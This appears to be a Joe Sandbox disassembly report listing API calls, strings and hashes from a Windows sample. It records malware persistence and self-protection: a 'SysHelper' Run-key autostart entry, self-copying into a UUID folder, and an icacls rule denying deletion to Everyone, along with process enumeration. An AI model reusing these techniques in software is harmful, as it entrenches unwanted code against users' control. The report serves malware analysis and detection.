LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Shell32.dll, xrefs: 00411E94
SHGetFolderPathW, xrefs: 00411E9F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
D, xrefs: 00412128
" --AutoStart, xrefs: 00411DD1
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB
" --AutoStart, xrefs: 004120C2

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(005D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: a31d16f5a38f4e24756d12eddb8380dded489bd2038aeda05616f964103f0abb
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: a31d16f5a38f4e24756d12eddb8380dded489bd2038aeda05616f964103f0abb
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-00000400,-00000400), ref: 00412966

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

NetApiBufferFree, xrefs: 004819F0
CloseToolhelp32Snapshot, xrefs: 00481D7B
Thread32Next, xrefs: 00481E13
Process32First, xrefs: 00481DDA
Module32First, xrefs: 00481E26
Heap32ListNext, xrefs: 00481DC7
Process32Next, xrefs: 00481DED
GetQueueStatus, xrefs: 00481C6B
LanmanServer, xrefs: 00481A74
CryptAcquireContextW, xrefs: 00481AD5
CreateToolhelp32Snapshot, xrefs: 00481D67
GetForegroundWindow, xrefs: 00481C4A
Thread32First, xrefs: 00481E00
CryptReleaseContext, xrefs: 00481AF6
Heap32Next, xrefs: 00481DA1
Heap32ListFirst, xrefs: 00481DB4
LanmanWorkstation, xrefs: 00481A26
GetCursorInfo, xrefs: 00481C58
ADVAPI32.DLL, xrefs: 00481989
CryptGenRandom, xrefs: 00481AE3
USER32.DLL, xrefs: 00481C31
KERNEL32.DLL, xrefs: 0048199C
$, xrefs: 00481F7E
NETAPI32.DLL, xrefs: 004819A9
Heap32First, xrefs: 00481D8E
Module32Next, xrefs: 00481E39
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
NetStatisticsGet, xrefs: 004819E2

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
